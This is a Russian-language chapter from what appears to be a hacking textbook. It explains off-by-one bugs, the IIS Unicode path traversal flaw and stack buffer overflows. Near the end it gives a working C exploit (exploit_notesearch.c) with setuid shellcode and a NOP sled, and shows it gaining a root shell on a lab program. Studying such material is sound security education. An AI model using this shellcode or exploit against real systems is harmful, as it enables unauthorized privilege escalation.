ОГЛАВЛЕНИЕ

0x300

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ

Деятельность хакеров, по сути, сводится к эксплуатации уязвимостей. В предыдущей главе вы увидели, что программа состоит из сложного набора инструкций, выполняемых в определенном порядке и указывающих компьютеру, что именно следует делать. Эксплуатация уязвимостей — это ловкий способ взять компьютер под контроль, даже если запущенное в данный момент приложение способно предотвращать подобные вещи. Программы умеют делать только то, для чего они были спроектированы, соответственно, дыры в безопасности — это слабые места или недочеты в конструкции самой программы или той среды, в которой она выполняется. Для поиска таких дыр, как и для написания программ, где они отсутствуют, требуется творческий склад ума. Иногда дыры в безопасности появляются в результате относительно очевидных ошибок, но встречаются и нетривиальные случаи, которые ложатся в основу более сложных техник эксплуатации уязвимостей, применимых в самых разных сферах.

Итак, если следовать букве закона, программа может делать только то, на что она запрограммирована. Но, к сожалению, реальность далеко не всегда совпадает с замыслами и намерениями программистов. Знаете такой анекдот?

> Мужик нашел в лесу лампу, потер ее, и оттуда появился джинн. Исполню, говорит, три твоих желания! Мужик обрадовался.
>
> «Во-первых, хочу миллион долларов».
>
> Джинн щелкает пальцами — и появляется чемодан с деньгами.
>
> «А еще я хочу Феррари».
>
> Джинн снова щелкает пальцами, и из ниоткуда возникает автомобиль.
>
> «Ну и, в-третьих, хочу, чтобы ни одна женщина не могла устоять передо мной».
>
> Джинн щелкает — и мужик превращается в коробку шоколадных конфет.

Подобно джинну из анекдота, который делал то, о чем его просили, а не то, чего на самом деле хотел человек, программа, четко следующая инструкциям, далеко не всегда дает результат, на который рассчитывал программист. Порой расхождения между задуманным и полученным оказываются катастрофическими.

Программы создаются людьми, и иногда они пишут совсем не то, что имеют в виду. К примеру, часто встречаются *ошибки смещения на единицу* (off-by-one error) — причем куда чаще, чем можно предположить. Попробуйте решить задачу: сколько столбиков требуется для создания ограждения длиной в 100 метров, если они вбиваются на расстоянии 10 метров друг от друга? Кажется, что их должно быть 10, но правильный ответ — 11. Эту ошибку называют *ошибкой заборного столба*, и возникает она, когда кто-то считает элементы вместо интервалов между ними и наоборот. Аналогичная ситуация имеет место при выборе диапазона чисел при обработке элементов с некого *N* по некое *M*. Если, скажем, `N = 5`, а `M = 17`, сколько элементов требуется обработать? Очевидным кажется ответ: `M – N = 17 – 5 = 12`. Но на самом деле у нас здесь `M – N + 1` элемент, то есть всего их `13`. На первый взгляд ситуация кажется нелогичной, и именно поэтому возникают описанные выше ошибки.

Зачастую они остаются незамеченными, так как при тестировании никто не проверяет все возможные случаи, а в процессе обычного запуска программы ошибка заборного столба себя никак не проявляет. Но входящие данные, при которых она становится заметной, порой способны катастрофически повлиять на логику всей программы. Вредоносный код, эксплуатирующий ошибку смещения на единицу, обнаруживает слабые места в защищенных на первый взгляд приложениях.

Классический пример — оболочка OpenSSH, которая задумывалась как набор программ для защищенной связи с терминалом, предназначенный для замены таких небезопасных и нешифрованных служб, как telnet, rsh и rcp. Однако в коде, отвечающем за выделение каналов, оказалась ошибка смещения на единицу, и ее начали активно эксплуатировать. Это был следующий код оператора if:

```
if (id < 0 || id > channels_alloc) {
```

На самом деле требовалось вот такое условие:

```
if (id < 0 || id >= channels_alloc) {
```

На обычном языке этот код означает: «*Если идентификатор меньше 0 или больше числа выделенных каналов, делайте следующее...*» А нужно было написать: «*Если идентификатор меньше 0 или больше числа выделенных каналов либо равен ему, делайте следующее...*»

Эта ошибка позволила обычным пользователям получать в системе права администратора. Разумеется, разработчики защищенной программы OpenSSH не собирались добавлять в нее такой возможности, но компьютер делает только то, что ему приказано.

Ошибки программистов, пригодные для эксплуатации, часто возникают при быстрой модификации программ с целью расширения их функциональности. Это делают, чтобы увеличить рыночную стоимость программного продукта, но одновременно растет и его сложность, что повышает вероятность ошибок. Набор серверов IIS создавался Microsoft для предоставления пользователям статического и динамического веб-контента. Но для этого требуется право на чтение, запись и выполнение программ в строго определенных папках — и ни в каких других. В противном случае пользователи получат полный контроль над системой, что недопустимо с точки зрения безопасности. Чтобы предотвратить такое, разработчики добавили в программу код проверки маршрутов доступа, запрещающий пользователям использовать символ обратного слеша для перемещения вверх по дереву папок и для входа в другие папки.

Но добавленная к программам для серверов IIS поддержка стандарта Unicode еще сильнее увеличила их сложность. Все символы *Unicode* имеют размер в 2 байта. Этот стандарт разрабатывался, чтобы охватить символы всех существующих вариантов письменности, включая китайские иероглифы и арабскую вязь. Так как в Unicode используются два байта на элемент, появилась возможность кодировать десятки тысяч символов, в то время как однобайтовых символов было всего несколько сотен. В результате для обратного слеша появилось несколько представлений. Например, в стандарте Unicode в него преобразуется запись `%5c`, причем это происходит *после* проверки допустимости маршрута. Замена \ на `%5c` давала возможность перемещаться по дереву папок и использовать описанную выше уязвимость. Именно эту ошибку и использовали для взлома веб-страниц черви Sadmind и CodeRed.

Для наглядности я приведу пример буквального толкования закона, не связанный с программированием. Это «лазейка Ламаккьи». В законодательстве США, как и в инструкциях компьютерных программ, встречаются правила, читающиеся вовсе не так, как изначально задумывалось. И юридические лазейки подобно уязвимостям программного обеспечения некоторые люди используют для того, чтобы обойти закон.

В конце 1993 года 21-летний студент Массачусетского технологического института Дэвид Ламаккья создал доску объявлений Cynosure для обмена ворованным программным обеспечением. Пираты загружали программы на серверы, откуда их могли скачать все желающие. Система просуществовала всего шесть недель, но генерируемый трафик был настолько большим, что в конечном счете привлек внимание университетского руководства и федеральных властей. Производители программного обеспечения утверждали, что в результате деятельности Ламаккьи они потерпели убытки в размере миллиона долларов, а Большое жюри федерального суда предъявило молодому человеку обвинение в сговоре с неизвестными лицами в целях совершения мошеннических действий с использованием электронных средств связи. Но обвинение было снято, так как, с точки зрения закона об авторском праве, в действиях Ламаккьи отсутствовал состав преступления — ведь он не получал личной выгоды. В свое время законодатели просто не подумали о том, что кто-то может бескорыстно заниматься подобными вещами. В 1997 году

Конгресс закрыл лазейку Актом против электронного воровства. В этом примере не эксплуатируется уязвимость компьютерных программ, но судей можно сравнить с машинами, выполняющими требования закона в том виде, как они написаны. Понятие взлома применимо не только к компьютерам, но и к другим жизненным ситуациям, основанным на сложных схемах.

0x310 Общий принцип эксплуатации уязвимостей

Такие ошибки, как смещение на единицу или некорректное использование Unicode, сложно увидеть при написании кода, хотя впоследствии их легко обнаружит любой программист. Но есть и распространенные ошибки, которые эксплуатируются не столь очевидными способами. Их влияние на безопасность не всегда очевидно, при этом уязвимости обнаруживаются в различных фрагментах кода. Так как однотипные ошибки появляются в разных местах, возникла универсальная техника их эксплуатации.

Большинство вредоносных программ имеет дело с нарушением целостности памяти. К ним относится и распространенная техника переполнения буфера, и менее известная эксплуатация уязвимости форматирующих строк. Во всех случаях конечная цель сводится к получению контроля над выполнением атакованной программы, чтобы заставить ее запустить помещенный в память фрагмент вредоносного кода. Такой тип перехвата процесса известен как *выполнение произвольного кода*. Уязвимости, подобные «лазейке Ламаккьи», возникают из-за ситуаций, которые программа не может обработать. Обычно в таких случаях программа аварийно завершается, но в случае тщательного контроля над средой работа программы берется под контроль, аварийное завершение предотвращается, а затем запускается посторонний код.

0x320 Переполнение буфера

Переполнение буфера (buffer overrun или buffer overflow) — это уязвимость, известная с момента появления компьютеров и существующая до сих пор. Ее использует большинство червей, и даже уязвимость реализации языка векторной разметки в Internet Explorer обусловлена именно переполнением буфера.

В таких языках высокого уровня, как C, предполагается, что за целостность данных отвечает программист. Если переложить эту обязанность на компилятор, работа итоговых двоичных файлов сильно замедлится, так как придется проверять целостность каждой переменной. Кроме того, в таком случае программист в значительно меньшей степени будет контролировать поведение программы, а язык станет сложнее.

Простота языка C позволяет делать приложения более эффективными и предсказуемыми, но ошибки, допущенные во время написания кода, порой становятся причиной таких уязвимостей, как переполнение буфера и утечки памяти,

поскольку не существует механизма, проверяющего, помещается ли содержимое переменной в выделенную для нее область памяти. Если программист захочет поместить десять байтов данных в буфер, под который выделено восемь байтов пространства, ничто не помешает это сделать, хотя результатом, скорее всего, станет аварийное завершение программы. Такая ситуация и называется *переполнением буфера*. Лишние два байта данных, вышедшие за пределы отведенной области памяти, записываются вне ее и стирают находящиеся там данные. Если таким образом будет уничтожен важный фрагмент данных, программа аварийно завершит работу. В качестве примера давайте рассмотрим программу overflow_example.c.

overflow_example.c

```
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one"); /* Помещаем "one" в buffer_one */
    strcpy(buffer_two, "two"); /* Помещаем "two" в buffer_two */

    printf("[ДО] buffer_two по адресу %p и содержит \'%s\'\n", buffer_two,
           buffer_two);
    printf("[ДО] buffer_one по адресу %p и содержит \'%s\'\n", buffer_one,
           buffer_one);
    printf("[ДО] value по адресу %p и равно %d (0x%08x)\n", &value, value, value);

    printf("\n[STRCPY] копируем %d байтов в buffer_two\n\n",  strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* Копируем первый аргумент в переменную
                                    buffer_two */

    printf("[ПОСЛЕ] buffer_two по адресу %p и содержит \'%s\'\n", buffer_two,
           buffer_two);
    printf("[ПОСЛЕ] buffer_one по адресу %p и содержит \'%s\'\n", buffer_one,
           buffer_one);
    printf("[ПОСЛЕ] value по адресу %p и равно %d (0x%08x)\n", &value, value,
           value);
}
```

Вы уже должны уметь читать код и разбираться в том, что делает программа. Результат компиляции этой программы вы видите ниже. Обратите внимание, что мы пытаемся скопировать десять байтов из первого аргумента командной строки в переменную `buffer_two`, под которую выделено всего восемь байтов.

```
reader@hacking:~/booksrc $ gcc -o overflow_example overflow_example.c
reader@hacking:~/booksrc $ ./overflow_example 1234567890
[ДО] buffer_two по адресу 0xbffff7f0 и содержит 'two'
[ДО] buffer_one по адресу 0xbffff7f8 и содержит 'one'
[ДО] value по адресу 0xbffff804 и равно 5 (0x00000005)
```

```
[STRCPY] копируем 10 байтов в buffer_two

[ПОСЛЕ] buffer_two по адресу 0xbffff7f0 и содержит '1234567890'
[ПОСЛЕ] buffer_one по адресу 0xbffff7f8 и содержит '90'
[ПОСЛЕ] value по адресу 0xbffff804 и равно 5 (0x00000005)
reader@hacking:~/booksrc $
```

Переменная `buffer_one` расположена в памяти сразу за переменной `buffer_two`, поэтому при копировании десяти байтов последние два (значение `90`) перезаписывают содержимое переменной `buffer_one`.

Если увеличить буфер, он естественным образом заместит другие переменные и, начиная с какого-то размера, станет приводить к аварийному завершению работы программы.

```
reader@hacking:~/booksrc $ ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAA
[ДО] buffer_two по адресу 0xbffff7e0 и содержит 'two'
[ДО] buffer_one по адресу 0xbffff7e8 и содержит 'one'
[ДО] value по адресу 0xbffff7f4 и равно 5 (0x00000005)

[STRCPY] копирование 29 байтов в buffer_two

[ПОСЛЕ] buffer_two по адресу 0xbffff7e0 и содержит 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[ПОСЛЕ] buffer_one по адресу 0xbffff7e8 и содержит 'AAAAAAAAAAAAAAAAAAAA'
[ПОСЛЕ] value по адресу 0xbffff7f4 и равно 1094795585 (0x41414141)
Segmentation fault (core dumped)
reader@hacking:~/booksrc $
```

Аварийные прерывания такого типа встречаются сплошь и рядом. Вспомните, сколько раз вы видели «синий экран смерти» (BSoD). В нашем случае для устранения ошибки в программу следует добавить проверку длины или ввести ограничение на вводимые пользователем данные. Допустить такую ошибку легко, а вот отследить трудно. Например, она присутствует в программе notesearch.c из раздела 0x283, а вы ее, скорее всего, и не заметили, даже если знаете язык C.

```
reader@hacking:~/booksrc $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-------[ конец заметки ]-------
Segmentation fault
reader@hacking:~/booksrc $
```

Такие раздражающие пользователей аварийные завершения в руках хакера могут превратиться в грозное оружие. Компетентный человек в этот момент способен перехватить управление программой, как показано в примере exploit_notesearch.c.

exploit_notesearch.c

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;

    command = (char *) malloc(200);
    bzero(command, 200); // Обнуляем новую память

    strcpy(command, "./notesearch \'"); // Начинаем буфер command
    buffer = command + strlen(command); // Переходим в конец буфера

    if(argc > 1) // Задаем смещение
        offset = atoi(argv[1]);

    ret = (unsigned int) &i - offset; // Задаем адрес возврата

    for(i=0; i < 160; i+=4) // Заполняем буфер адресом возврата
        *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60); // Строим дорожку NOP
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

    strcat(command, "\'");

    system(command); // Запускаем вредоносный код
    free(command);
}
```

Подробно принцип действия приведенного кода будет рассмотрен чуть позже, пока же я опишу общий смысл происходящего. Мы генерируем командную строку, выполняющую программу notesearch с заключенным в одиночные кавычки аргументом. Это реализуется с помощью следующих строковых функций: `strlen()` дает нам текущую длину строки (для размещения указателя на массив), а `strcat()` устанавливает в конце закрывающую одиночную кавычку. Затем системная функция запускает полученную командную строку. Сгенерированный между одиночными кавычками массив и есть основа вредоносного кода. Остальная часть программы служит для доставки этой ядовитой пилюли по месту назначения. Смотрите, что можно сделать, управляя аварийным завершением программы:

```
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] обнаружена заметка длиной в 34 байта для id 999
[DEBUG] обнаружена заметка длиной в 41 байт для id 999
-------[ конец заметки ]-------
sh-3.2#
```